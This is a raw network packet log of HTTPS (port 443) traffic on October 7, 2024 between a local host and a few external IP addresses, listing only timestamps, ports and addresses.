Oct 7, 2024 06:44:19.330775976 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.331357002 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.331361055 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533422947 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533427000 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533489943 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533493042 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533549070 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.533552885 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.533719063 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533765078 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.533791065 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533808947 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.533816099 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533866882 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533951998 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.533967018 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.533977032 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.533982038 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.534054995 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.534106016 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.534115076 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.534168959 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.534823895 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.534842014 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.534853935 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.534859896 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.535270929 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.535271883 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.535315990 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.535341978 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.537815094 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.537868977 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.537964106 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.538063049 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.538085938 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.538135052 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.538223982 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.538256884 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.538490057 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.538501024 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.539074898 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.539082050 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.539139986 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.539252043 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.539263010 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.539295912 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.539328098 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.539412022 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.539470911 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.539485931 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.634527922 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.634727001 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.634805918 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.634861946 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.634872913 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.634907007 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.634912968 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.637140036 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.637188911 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.637260914 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.637379885 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.637389898 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.173305988 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.174341917 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.175457001 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.175479889 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.176655054 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.176659107 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.177237034 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.177301884 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.178210020 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.178224087 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.179008007 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.179663897 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.179678917 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.180269003 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.180279970 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.182403088 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.182854891 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.182864904 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.183538914 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.183542967 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.272547960 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.272625923 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.272680998 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.272847891 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.272870064 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.272900105 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.272907972 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.273158073 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.273246050 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.273299932 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.273528099 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.273581982 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.273597956 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.273606062 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.276618958 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.276648998 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.276664972 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.276709080 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.276717901 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.276787043 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.276886940 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.276896954 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.277111053 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.277128935 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.280224085 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.280306101 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.280365944 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.280469894 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.280481100 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.280497074 CEST	49731	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.280502081 CEST	443	49731	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.283235073 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.283273935 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.283345938 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.283591032 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.283612967 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.283822060 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.284120083 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.284171104 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.284202099 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.284213066 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.284238100 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.284243107 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.286503077 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.286513090 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.286590099 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.286770105 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.286778927 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.293384075 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.293867111 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.293886900 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.294316053 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.294336081 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.374074936 CEST	49704	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:20.374170065 CEST	49704	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:20.374790907 CEST	49739	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:20.374835968 CEST	443	49739	23.1.237.91	192.168.2.5
Oct 7, 2024 06:44:20.374901056 CEST	49739	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:20.375338078 CEST	49739	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:20.375349998 CEST	443	49739	23.1.237.91	192.168.2.5
Oct 7, 2024 06:44:20.379039049 CEST	443	49704	23.1.237.91	192.168.2.5
Oct 7, 2024 06:44:20.379050970 CEST	443	49704	23.1.237.91	192.168.2.5
Oct 7, 2024 06:44:20.394725084 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.394884109 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.394999027 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.395150900 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.395150900 CEST	49732	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.395164967 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.395173073 CEST	443	49732	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.398241997 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.398266077 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:20.398329020 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.398647070 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:20.398658037 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.095519066 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.095947027 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.095973015 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.096529961 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.096535921 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.096637964 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.097148895 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.097157001 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.097408056 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.097816944 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.097822905 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.098056078 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.098077059 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.098670959 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.098675966 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.099610090 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.100059032 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.100066900 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.100528002 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.100533009 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.104439974 CEST	443	49739	23.1.237.91	192.168.2.5
Oct 7, 2024 06:44:21.104510069 CEST	49739	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:21.396214962 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.396382093 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.396539927 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.396539927 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.396608114 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.396627903 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.397845984 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.397995949 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.398051977 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.398191929 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.398216009 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.398231030 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.398236990 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.399760008 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.399811029 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.400052071 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.400233984 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.400247097 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.400794983 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.400852919 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.400877953 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.400892019 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.400902987 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.400943041 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.401082039 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.401098013 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.401101112 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.401106119 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.401114941 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.401118994 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.402524948 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.402611017 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.402725935 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.402852058 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.402865887 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.404666901 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.404700994 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.404856920 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.405208111 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.405224085 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.405424118 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.405431986 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.405492067 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.405657053 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.405672073 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.496747017 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.497344971 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.497364044 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.497968912 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.497977018 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.598943949 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.599014044 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.599122047 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.599308968 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.599324942 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.599335909 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.599348068 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.602461100 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.602473021 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:21.602619886 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.602797985 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:21.602807999 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.034570932 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.035433054 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.035479069 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.035909891 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.035923004 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.037118912 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.037668943 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.037683010 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.038070917 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.038077116 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.074088097 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.074614048 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.074661970 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.075531960 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.075541973 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.085933924 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.087527990 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.087541103 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.096461058 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.096473932 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.135209084 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.135297060 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.135360956 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.135581017 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.135616064 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.135633945 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.135643005 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.137626886 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.137789011 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.138017893 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.138293982 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.138312101 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.138325930 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.138329983 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.139214039 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.139261007 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.139406919 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.139619112 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.139633894 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.140767097 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.140816927 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.140909910 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.141077995 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.141093016 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.179028034 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.179192066 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.179251909 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.179598093 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.179634094 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.179673910 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.179680109 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.182734966 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.182791948 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.182982922 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.183172941 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.183195114 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.197501898 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.197575092 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.197635889 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.197890043 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.197890043 CEST	49745	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.197913885 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.197926998 CEST	443	49745	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.201141119 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.201186895 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.201652050 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.201841116 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.201858044 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.257432938 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.258074045 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.258086920 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.258708000 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.258713961 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.358604908 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.358686924 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.358751059 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.358895063 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.358901024 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.358927011 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.358936071 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.363444090 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.363539934 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.363630056 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.363794088 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.363815069 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.775582075 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.776052952 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.776073933 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.776530027 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:22.776535988 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.781157970 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:22.781527996 CEST	49749	443	192.168.2.5	13.107.246.45
